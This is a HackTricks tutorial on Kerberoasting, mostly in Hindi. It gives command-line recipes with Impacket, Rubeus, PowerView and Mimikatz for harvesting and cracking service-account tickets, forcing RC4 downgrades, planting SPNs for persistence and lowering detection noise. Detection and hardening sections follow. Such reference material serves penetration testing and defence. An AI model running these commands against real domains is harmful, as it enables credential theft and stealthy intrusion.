Kerberoast
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Kerberoast
Kerberoasting का फोकस TGS tickets प्राप्त करने पर है, विशेष रूप से उन टिकट्स पर जो Active Directory (AD) में user accounts के तहत चलने वाली services से संबंधित होते हैं, और computer accounts को शामिल नहीं करते। इन टिकट्स का एन्क्रिप्शन उन keys से किया जाता है जो user passwords से उत्पन्न होती हैं, जिससे offline credential cracking संभव होता है। किसी user account का service के रूप में उपयोग तब सूचित होता है जब उसका ServicePrincipalName (SPN) property खाली न हो।
कोई भी authenticated domain user TGS tickets का अनुरोध कर सकता है, इसलिए किसी विशेष privileges की आवश्यकता नहीं होती।
मुख्य बिंदु
- लक्षित करता है TGS tickets उन services के लिए जो user accounts के तहत चलती हैं (यानी, वे accounts जिनमें SPN सेट है; computer accounts नहीं)।
- Tickets उन keys से एन्क्रिप्ट होते हैं जो service account के password से निकली होती हैं और इन्हें offline crack किया जा सकता है।
- किसी elevated privileges की आवश्यकता नहीं; कोई भी authenticated account TGS tickets का अनुरोध कर सकता है।
Warning
अधिकांश सार्वजनिक tools RC4-HMAC (etype 23) service tickets का अनुरोध करना प्राथमिकता देते हैं क्योंकि इन्हें AES की तुलना में क्रैक करना तेज़ होता है। RC4 TGS hashes
$krb5tgs$23$*से शुरू होते हैं, AES128$krb5tgs$17$*से, और AES256$krb5tgs$18$*से। हालांकि, कई environments अब AES-only की ओर बढ़ रहे हैं। केवल RC4 को ही प्रासंगिक मानने से बचें।
साथ ही, “spray-and-pray” roasting से बचें। Rubeus’ का default kerberoast सभी SPNs के लिए query कर सकता है और tickets request कर रहा होता है, इसलिए यह noisy होता है। पहले रोचक principals को enumerate और target करें।
Service account secrets & Kerberos crypto cost
कई services अभी भी user accounts के तहत hand-managed passwords के साथ चलती हैं। KDC उन passwords से निकली keys से service tickets को encrypt करता है और ciphertext किसी भी authenticated principal को दे देता है, इसलिए kerberoasting बिना lockouts या DC telemetry के असीमित offline guesses की अनुमति देता है। एन्क्रिप्शन मोड cracking budget तय करता है:
| Mode | Key derivation | Encryption type | Approx. RTX 5090 throughput* | Notes |
|---|---|---|---|---|
| AES + PBKDF2 | PBKDF2-HMAC-SHA1 with 4,096 iterations and a per-principal salt generated from the domain + SPN | etype 17/18 ($krb5tgs$17$, $krb5tgs$18$) | ~6.8 million guesses/s | Salt rainbow tables को ब्लॉक करता है पर फिर भी छोटे passwords को तेज़ी से क्रैक करने की अनुमति देता है। |
| RC4 + NT hash | Single MD4 of the password (unsalted NT hash); Kerberos only mixes in an 8-byte confounder per ticket | etype 23 ($krb5tgs$23$) | ~4.18 billion guesses/s | ~1000× faster than AES; हमलावर RC4 को जब भी msDS-SupportedEncryptionTypes इसकी अनुमति देता है तब मजबूर करते हैं। |
*Benchmarks Chick3nman द्वारा दिए गए, जैसा कि Matthew Green’s Kerberoasting analysis में बताया गया है।
RC4 का confounder केवल keystream को randomize करता है; यह प्रति-guess कोई अतिरिक्त work नहीं जोड़ता। जब तक service accounts random secrets (gMSA/dMSA, machine accounts, or vault-managed strings) पर निर्भर नहीं होते, compromise की गति पूरी तरह से GPU क्षमता पर निर्भर होती है। AES-only etypes लागू करने से billion-guesses-per-second का डाउनग्रेड हट जाता है, लेकिन कमजोर मानव-निर्मित passwords फिर भी PBKDF2 के सामने असुरक्षित रहते हैं।
Attack
Linux
# Metasploit Framework
msf> use auxiliary/gather/get_user_spns
# Impacket — request and save roastable hashes (prompts for password)
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER> -outputfile hashes.kerberoast
# With NT hash
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USER> -outputfile hashes.kerberoast
# Target a specific user’s SPNs only (reduce noise)
GetUserSPNs.py -request-user <samAccountName> -dc-ip <DC_IP> <DOMAIN>/<USER>
# kerberoast by @skelsec (enumerate and roast)
# 1) Enumerate kerberoastable users via LDAP
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -o kerberoastable
# 2) Request TGS for selected SPNs and dump
kerberoast spnroast 'kerberos+password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes
kerberoast जांचों सहित बहु-विशेषता टूल:
# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN> -ip <DC_IP> -u <USER> -p <PASS> -c
Windows
- kerberoastable उपयोगकर्ताओं को सूचीबद्ध करें
# Built-in
setspn.exe -Q */* # Focus on entries where the backing object is a user, not a computer ($)
# PowerView
Get-NetUser -SPN | Select-Object serviceprincipalname
# Rubeus stats (AES/RC4 coverage, pwd-last-set years, etc.)
.\Rubeus.exe kerberoast /stats
- तकनीक 1: TGS के लिए पूछें और मेमोरी से dump करें
# Acquire a single service ticket in memory for a known SPN
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>" # e.g. MSSQLSvc/mgmt.domain.local
# Get all cached Kerberos tickets
klist
# Export tickets from LSASS (requires admin)
Invoke-Mimikatz -Command '"kerberos::list /export"'
# Convert to cracking formats
python2.7 kirbi2john.py .\some_service.kirbi > tgs.john
# Optional: convert john -> hashcat etype23 if needed
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$*\1*$\2/' tgs.john > tgs.hashcat
- तकनीक 2: स्वचालित उपकरण
# PowerView — single SPN to hashcat format
Request-SPNTicket -SPN "<SPN>" -Format Hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
# PowerView — all user SPNs -> CSV
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
# Rubeus — default kerberoast (be careful, can be noisy)
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
# Rubeus — target a single account
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast
# Rubeus — target admins only
.\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap
Warning
एक TGS अनुरोध Windows Security Event 4769 उत्पन्न करता है (A Kerberos service ticket was requested).
OPSEC और AES-only वातावरण
- RC4 के लिए जानबूझकर अनुरोध करें उन खातों के लिए जिनके पास AES नहीं है:
- Rubeus:
/rc4opsectgtdeleg का उपयोग करके AES नहीं वाले खातों को सूचीबद्ध करता है और RC4 service tickets का अनुरोध करता है। - Rubeus:
/tgtdelegkerberoast के साथ संभव होने पर RC4 अनुरोध भी ट्रिगर करता है। - AES-only खातों को Roast करें बजाय कि चुपचाप विफल होने के:
- Rubeus:
/aesAES enabled खातों को सूचीबद्ध करता है और AES service tickets का अनुरोध करता है (etype 17/18)। - यदि आपके पास पहले से एक TGT है (PTT या .kirbi से), तो आप
/ticket:<blob|path>को/spn:<SPN>या/spns:<file>के साथ उपयोग कर सकते हैं और LDAP को छोड़ सकते हैं। - Targeting, throttling और कम शोर:
/user:<sam>,/spn:<spn>,/resultlimit:<N>,/delay:<ms>और/jitter:<1-100>का उपयोग करें।- संभावित कमजोर पासवर्ड के लिए फ़िल्टर करने के लिए
/pwdsetbefore:<MM-dd-yyyy>(पुराने पासवर्ड) का उपयोग करें या विशेषाधिकार प्राप्त OUs को लक्षित करने के लिए/ou:<DN>का उपयोग करें।
Examples (Rubeus):
# Kerberoast only AES-enabled accounts
.\Rubeus.exe kerberoast /aes /outfile:hashes.aes
# Request RC4 for accounts without AES (downgrade via tgtdeleg)
.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.rc4
# Roast a specific SPN with an existing TGT from a non-domain-joined host
.\Rubeus.exe kerberoast /ticket:C:\\temp\\tgt.kirbi /spn:MSSQLSvc/sql01.domain.local
Cracking
# John the Ripper
john --format=krb5tgs --wordlist=wordlist.txt hashes.kerberoast
# Hashcat
# RC4-HMAC (etype 23)
hashcat -m 13100 -a 0 hashes.rc4 wordlist.txt
# AES128-CTS-HMAC-SHA1-96 (etype 17)
hashcat -m 19600 -a 0 hashes.aes128 wordlist.txt
# AES256-CTS-HMAC-SHA1-96 (etype 18)
hashcat -m 19700 -a 0 hashes.aes256 wordlist.txt
स्थायी पहुँच / दुरुपयोग
यदि आप किसी खाते को नियंत्रित करते हैं या उसे संशोधित कर सकते हैं, तो आप उसे एक SPN जोड़कर kerberoastable बना सकते हैं:
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='fake/WhateverUn1Que'} -Verbose
RC4 को सक्षम करने के लिए एक खाते को डाउनग्रेड करें ताकि cracking आसान हो (लक्ष्य ऑब्जेक्ट पर लिखने की अनुमतियाँ आवश्यक हैं):
# Allow only RC4 (value 4) — very noisy/risky from a blue-team perspective
Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=4}
# Mixed RC4+AES (value 28)
Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=28}
Targeted Kerberoast via GenericWrite/GenericAll over a user (temporary SPN)
जब BloodHound यह दिखाता है कि आपके पास किसी user object पर नियंत्रण है (उदा., GenericWrite/GenericAll), तो आप उस विशेष user को भरोसेमंद तरीके से “targeted-roast” कर सकते हैं, भले ही उनके पास वर्तमान में कोई SPNs न हों:
- उस नियंत्रित user पर एक अस्थायी SPN जोड़ें ताकि वह roastable बन जाए।
- क्रैकिंग को आसान बनाने के लिए उस SPN के लिए RC4 (etype 23) से एन्क्रिप्टेड TGS-REP का अनुरोध करें।
$krb5tgs$23$...हैश को hashcat से क्रैक करें।- footprint घटाने के लिए SPN साफ़ करें।
Windows (PowerView/Rubeus):
# Add temporary SPN on the target user
Set-DomainObject -Identity <targetUser> -Set @{serviceprincipalname='fake/TempSvc-<rand>'} -Verbose
# Request RC4 TGS for that user (single target)
.\Rubeus.exe kerberoast /user:<targetUser> /nowrap /rc4
# Remove SPN afterwards
Set-DomainObject -Identity <targetUser> -Clear serviceprincipalname -Verbose
Linux एक-लाइनर (targetedKerberoast.py SPN जोड़ना -> TGS (etype 23) का अनुरोध करना -> SPN हटाना स्वचालित करता है):
targetedKerberoast.py -d '<DOMAIN>' -u <WRITER_SAM> -p '<WRITER_PASS>'
Crack आउटपुट को hashcat autodetect (mode 13100 for $krb5tgs$23$) के साथ:
hashcat <outfile>.hash /path/to/rockyou.txt
Detection notes: SPNs जोड़ने/हटाने से डायरेक्टरी में बदलाव होते हैं (लक्षित उपयोगकर्ता पर Event ID 5136/4738) और TGS request Event ID 4769 उत्पन्न करता है। थ्रॉटलिंग और तुरंत cleanup करने पर विचार करें।
You can find useful tools for kerberoast attacks here: https://github.com/nidem/kerberoast
If you find this error from Linux: Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great) it’s due to local time skew. Sync to the DC:
ntpdate <DC_IP>(deprecated on some distros)rdate -n <DC_IP>
Kerberoast without a domain account (AS-requested STs)
In September 2022, Charlie Clark showed that if a principal does not require pre-authentication, it’s possible to obtain a service ticket via a crafted KRB_AS_REQ by altering the sname in the request body, effectively getting a service ticket instead of a TGT. This mirrors AS-REP roasting and does not require valid domain credentials.
See details: Semperis write-up “New Attack Paths: AS-requested STs”.
Warning
आपको users की सूची प्रदान करनी होगी क्योंकि valid credentials के बिना आप इस तकनीक से LDAP query नहीं कर पाएंगे।
Linux
- Impacket (PR #1413):
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile users.txt -dc-host dc.domain.local domain.local/
Windows
- Rubeus (PR #139):
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:domain.local /dc:dc.domain.local /nopreauth:NO_PREAUTH_USER /spn:TARGET_SERVICE
संबंधित
पहचान
Kerberoasting चुपके से किया जा सकता है। DCs से Event ID 4769 की तलाश करें और शोर कम करने के लिए फ़िल्टर लागू करें:
- सेवा नाम
krbtgtऔर$पर समाप्त होने वाले सेवा नामों को बाहर रखें (कंप्यूटर खाते)। - मशीन खातों से आने वाले अनुरोधों को बाहर रखें (
*$$@*)। - केवल सफल अनुरोध (Failure Code
0x0)। - एन्क्रिप्शन प्रकार ट्रैक करें: RC4 (
0x17), AES128 (0x11), AES256 (0x12)। केवल0x17पर ही अलर्ट न करें।
PowerShell triage का उदाहरण:
Get-WinEvent -FilterHashtable @{Logname='Security'; ID=4769} -MaxEvents 1000 |
Where-Object {
($_.Message -notmatch 'krbtgt') -and
($_.Message -notmatch '\$$') -and
($_.Message -match 'Failure Code:\s+0x0') -and
($_.Message -match 'Ticket Encryption Type:\s+(0x17|0x12|0x11)') -and
($_.Message -notmatch '\$@')
} |
Select-Object -ExpandProperty Message
अतिरिक्त विचार:
- प्रति होस्ट/यूज़र सामान्य SPN उपयोग का बेसलाइन निर्धारित करें; किसी एक principal से अलग-अलग SPN अनुरोधों के बड़े उछाल पर अलर्ट करें।
- AES-hardened डोमेन्स में असामान्य RC4 उपयोग को चिन्हित करें।
निवारण / हार्डनिंग
- सर्विसेस के लिए gMSA/dMSA या machine accounts का उपयोग करें। Managed accounts के पास 120+ वर्णों के रैंडम पासवर्ड होते हैं और ये स्वचालित रूप से रोटेट होते हैं, जिससे ऑफलाइन क्रैकिंग व्यावहारिक नहीं रहती।
- service accounts पर AES लागू करने के लिए
msDS-SupportedEncryptionTypesको AES-only (decimal 24 / hex 0x18) पर सेट करें और फिर पासवर्ड को रोटेट करें ताकि AES keys व्युत्पन्न हों। - जहाँ संभव हो, अपने वातावरण में RC4 को निष्क्रिय करें और RC4 उपयोग के प्रयासों की निगरानी करें। DCs पर आप उन accounts के लिए जिन पर
msDS-SupportedEncryptionTypesसेट नहीं है, डिफ़ॉल्ट मूल्यों को नियंत्रित करने के लिएDefaultDomainSupportedEncTypesregistry value का उपयोग कर सकते हैं। पूरी तरह से टेस्ट करें। - यूजर अकाउंट्स से अनावश्यक SPNs हटाएँ।
- यदि managed accounts संभव नहीं हैं तो लंबे, रैंडम service account पासवर्ड (25+ chars) का उपयोग करें; सामान्य पासवर्ड ब्लॉक करें और नियमित रूप से ऑडिट करें।
संदर्भ
- https://github.com/ShutdownRepo/targetedKerberoast
- Matthew Green – Kerberoasting: Low-Tech, High-Impact Attacks from Legacy Kerberos Crypto (2025-09-10)
- https://www.tarlogic.com/blog/how-to-attack-kerberos/
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled
- Microsoft Security Blog (2024-10-11) – Microsoft’s guidance to help mitigate Kerberoasting
- SpecterOps – Rubeus Roasting documentation
- HTB: Delegate — SYSVOL creds → Targeted Kerberoast → Unconstrained Delegation → DCSync to DA
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


